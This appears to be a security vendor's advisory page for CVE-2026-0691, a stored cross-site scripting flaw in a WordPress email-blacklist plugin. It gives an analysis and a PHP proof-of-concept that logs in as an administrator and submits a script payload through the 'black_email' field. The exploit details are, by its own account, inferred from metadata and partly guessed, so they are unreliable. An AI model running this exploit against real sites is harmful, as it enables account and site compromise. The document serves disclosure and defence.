Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0691: CM E-Mail Blacklist <= 1.6.2 – Authenticated (Administrator+) Stored Cross-Site Scripting via 'black_email' Parameter (cm-email-blacklist)

CVE ID CVE-2026-0691
Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 1.6.2
Patched Version
Disclosed January 15, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0691 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the CM E-Mail Blacklist WordPress plugin versions up to 1.6.2. The vulnerability exists in the ‘black_email’ parameter handling. Attackers with administrator-level privileges or higher can inject malicious scripts that persist in the plugin’s data storage. These scripts execute when users view affected pages. The CVSS score of 4.4 reflects the requirement for administrator access and the conditional impact limited to multi-site installations or those with disabled unfiltered_html capability.

Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping on the ‘black_email’ parameter. The CWE-79 classification confirms improper neutralization of input during web page generation. Without code analysis, this conclusion is inferred from the CWE and vulnerability description. The plugin likely fails to properly sanitize user-supplied email blacklist entries before storing them in the database. It also fails to escape this data when outputting it in administrative interfaces.

Exploitation requires an authenticated attacker with administrator privileges or higher. The attacker would access the plugin’s email blacklist management interface, typically found at /wp-admin/admin.php?page=cm-email-blacklist or a similar administrative page. They would submit a malicious payload in the ‘black_email’ field during blacklist entry creation or modification. A sample payload could be alert(document.cookie)@example.com. The injected script would execute whenever an administrator views the blacklist management page.

Remediation requires proper input validation and output escaping. The patched version 1.6.3 likely implements WordPress sanitization functions like sanitize_email() or sanitize_text_field() during input processing. For output, the fix probably uses escaping functions like esc_html() or esc_attr() when displaying blacklist entries in administrative interfaces. The plugin should also implement proper capability checks, though the vulnerability description confirms these were already present.

Successful exploitation allows attackers with administrator privileges to execute arbitrary JavaScript in the context of other administrators viewing the blacklist management page. This can lead to session hijacking, privilege escalation within the WordPress dashboard, or complete site compromise if combined with other vulnerabilities. The impact is limited to multi-site installations or those with disabled unfiltered_html capability, as WordPress normally filters HTML for users without this capability.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-0691 - CM E-Mail Blacklist <= 1.6.2 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'black_email' Parameter

<?php
/**
 * Proof of Concept for CVE-2026-0691
 * Assumptions based on vulnerability description:
 * 1. The plugin has an administrative interface for managing email blacklists
 * 2. The 'black_email' parameter accepts email addresses (potentially with XSS payloads)
 * 3. Administrator authentication is required via WordPress cookies
 * 4. The endpoint is likely a standard WordPress admin POST handler
 */

$target_url = 'https://target-site.com'; // CHANGE THIS
$username = 'admin'; // Administrator username
$password = 'password'; // Administrator password

// XSS payload embedded in email format to bypass basic validation
$malicious_email = '"><script>alert(document.domain)</script>@atomic-edge.test';

// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Get login page to retrieve nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
$login_page = curl_exec($ch);

// Extract nonce from login form (simplified - real implementation needs proper parsing)
preg_match('/name="log"[^>]*>/', $login_page, $matches);

// Step 2: Submit login credentials
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$login_response = curl_exec($ch);

// Step 3: Access the CM E-Mail Blacklist management page
// Assuming standard WordPress plugin admin page structure
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin.php?page=cm-email-blacklist');
curl_setopt($ch, CURLOPT_POST, false);
$admin_page = curl_exec($ch);

// Step 4: Extract nonce from blacklist management page
// This would typically be in a form with name '_wpnonce' or similar
preg_match('/name="_wpnonce" value="([^"]+)"/', $admin_page, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';

// Step 5: Submit malicious blacklist entry
$exploit_data = [
    'black_email' => $malicious_email,
    '_wpnonce' => $nonce,
    'action' => 'add', // Assuming 'add' action for new entries
    'submit' => 'Add to Blacklist'
];

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$exploit_response = curl_exec($ch);

// Check if exploit succeeded
if (strpos($exploit_response, 'success') !== false || curl_getinfo($ch, CURLINFO_HTTP_CODE) == 302) {
    echo "[+] Exploit likely succeeded. Payload: $malicious_emailn";
    echo "[+] Visit the email blacklist management page to trigger XSS.n";
} else {
    echo "[-] Exploit may have failed. Check authentication and endpoint.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School